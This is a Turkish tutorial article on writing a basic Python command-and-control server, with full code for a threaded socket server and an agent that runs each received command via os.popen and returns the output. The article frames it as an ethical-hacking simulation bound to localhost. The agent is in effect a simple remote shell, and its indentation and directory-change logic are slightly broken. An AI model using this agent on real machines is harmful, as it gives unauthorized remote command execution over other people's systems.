Python ile Basit Bir C2 Sunucusu Geliştirme

Komuta ve kontrol (C2) sunucuları, siber saldırılar sırasında genellikle bir saldırganın uzaktan bir cihazı veya ağ üzerindeki hedefleri yönetmesini sağlar. Kötü amaçlı yazılımlar (malware) ve botnetler, C2 sunucuları aracılığıyla hedef makinelerine komut gönderir. C2 sunucusu, siber güvenlik araştırmalarında ve etik hackleme (pentesting) simülasyonlarında önemli bir yer tutar. Bu makalede, Python kullanarak bir C2 sunucusu simülasyonunun nasıl geliştirileceğini detaylı bir şekilde inceleyeceğiz.
1. C2 Sunucusu Nedir?
C2 sunucuları, siber saldırganların hedef makinelerle iletişim kurmasını sağlayan bir altyapıdır. Genellikle bir kötü amaçlı yazılım ya da botnet’in komutlarını almak ve bu komutlara yanıt vermek için kullanılır. Bu tür sunucular, genellikle zafiyetli makineler aracılığıyla hedef sistemlere erişim sağlar.
C2 sunucusu, aşağıdaki işlemleri gerçekleştirebilir:
- Komut Gönderme: Hedef makinelere belirli komutlar gönderilir.
- Veri Toplama: Hedef makinelerden bilgi toplanabilir (örneğin, dosya alıp gönderme).
- Zararlı Yazılım Yükleme: Kötü amaçlı yazılımlar yüklenebilir.
- Botnet Yönetimi: C2 sunucusu, botnet üzerindeki makineleri yönetebilir ve kontrol edebilir.
Bu tür bir sunucunun tasarımı, genellikle HTTP, HTTPS, DNS, IRC veya özel protokoller gibi farklı iletişim kanallarını kullanır.
2. Python ile Basit Bir C2 Sunucusu Tasarımı
Python, esnekliği, güçlü ağ kütüphaneleri ve geniş kullanıcı topluluğu sayesinde C2 sunucusu simülasyonları için uygun bir dildir. Burada, temel bir C2 sunucusu geliştirmek için Python’un socket
ve threading
modüllerini kullanacağız.
2.1. C2 Sunucusunun Temel Yapısı
Bir C2 sunucusu genellikle iki ana bileşenden oluşur:
- Sunucu Tarafı: C2 sunucusunun komutları bekleyen ve gönderilen komutları işleyen ana bileşenidir. Sunucu, ağ üzerinden gelen bağlantıları dinler.
- Ajan (Client) Tarafı: Hedef makineler, sunucuya bağlanarak komutları alır ve yanıtlar.
2.2. Python C2 Sunucusu Kodları
Aşağıda, Python kullanarak çok basit bir C2 sunucu kodu örneği bulunmaktadır.
import socket
import threading
# Sunucu parametreleri
HOST = '127.0.0.1' # C2 sunucusunun IP adresi
PORT = 9999 # Bağlantı noktası
# Bağlantıları işleyen fonksiyon
def handle_client(client_socket):
# Sunucudan gelen komutları gönder
client_socket.send(b"Welcome to the C2 Server!\n")
while True:
# Komut almak
command = input("Enter command: ")
if command.lower() == 'exit':
client_socket.send(b"Exiting...\n")
break
else:
client_socket.send(command.encode())
# Komut yanıtı
response = client_socket.recv(4096)
print(f"Received: {response.decode()}")
client_socket.close()
# Sunucuyu başlatma
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(5)
print(f"Server started on {HOST}:{PORT}...")
while True:
client_socket, addr = server.accept()
print(f"Connection received from {addr}")
# Yeni bir iş parçacığı (thread) başlat
client_handler = threading.Thread(target=handle_client, args=(client_socket,))
client_handler.start()
if __name__ == "__main__":
start_server()
2.3. Sunucu Açıklamaları
- HOST ve PORT: Bu, sunucunun IP adresini ve port numarasını belirler. Sunucuya bağlanmak isteyen her ajan bu bilgileri kullanacak.
- Socket Nesnesi:
socket.socket
fonksiyonu ile bir TCP bağlantısı kurulur. - Threading Kullanımı: Her yeni bağlantı, yeni bir iş parçacığı (thread) ile ele alınır. Bu, sunucunun birden fazla ajana aynı anda hizmet vermesini sağlar.
- Komut Gönderimi ve Yanıt: Sunucu, istemciden komut alır ve bunu bağlı ajanlara gönderir. Ajanlar, aldıkları komutlara göre işlem yapar ve sunucuya yanıt gönderir.
2.4. Ajan Tarafı
Aşağıda, bir ajan (client) kodu örneği bulunmaktadır. Bu ajan, sunucuya bağlanacak ve komutları alıp çalıştıracaktır.
import socket
import os
# C2 sunucusunun IP adresi ve portu
HOST = '127.0.0.1'
PORT = 9999
# Sunucuya bağlanma
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
# Sunucudan gelen mesajı al
response = client.recv(4096)
print(response.decode())
while True:
# Sunucudan komut al
command = client.recv(1024).decode()
if command.lower() == 'exit':
break
# Komutu çalıştır
if command.startswith('cd '):
try:
os.chdir(command.strip('cd '))
client.send(b"Changed directory\n")
except FileNotFoundError:
client.send(b"Directory not found\n")
else:
output = os.popen(command).read()
if output == "":
output = "Command executed, but no output."
client.send(output.encode())
# Bağlantıyı kapatma
client.close()
2.5. Ajan Açıklamaları
- Bağlantı: Ajan, C2 sunucusuna bağlanmak için IP adresi ve port numarasını kullanır.
- Komut Alma: Sunucu tarafından gönderilen komutları
recv()
fonksiyonu ile alır. - Komut Çalıştırma: Gelen komutlar,
os.popen()
ile çalıştırılır ve çıktılar tekrar sunucuya gönderilir. - Çıkış: Eğer sunucudan
exit
komutu alınırsa, ajan bağlantıyı sonlandırır.
C2 sunucuları genellikle kötü amaçlı yazılımlar (malware) ve botnetler aracılığıyla kullanılır. Bu tür simülasyonlar yalnızca eğitim, güvenlik testi ve etik hackleme amaçlarıyla kullanılmalıdır.
Ayrıca, C2 sunucularının daha güvenli hale getirilmesi için şunlar önerilebilir:
- Şifreleme: İletişimin şifrelenmesi, verilerin güvenliğini artırır. SSL/TLS gibi şifreleme protokolleri kullanılabilir.
- Kimlik Doğrulama: Sunucu ve ajan arasında kimlik doğrulaması yapılması, yetkisiz erişimi engeller.
- Zaman Aşımı ve Yeniden Bağlantı: Bağlantı sürekliliği için ajanların zaman aşımına uğramadan yeniden bağlanmalarını sağlamak.
Bu makalede, Python ile basit bir C2 sunucusu simülasyonunun nasıl geliştirileceğini inceledik. Socket ve threading gibi temel Python kütüphaneleri ile, saldırganların hedef makinelerine komut göndermesi ve bu komutlara yanıt alması sağlanabilir. Etik hackleme ve siber güvenlik araştırmalarında bu tür araçlar, güvenlik açıklarını test etmek ve savunma stratejilerini geliştirmek için kullanılabilir.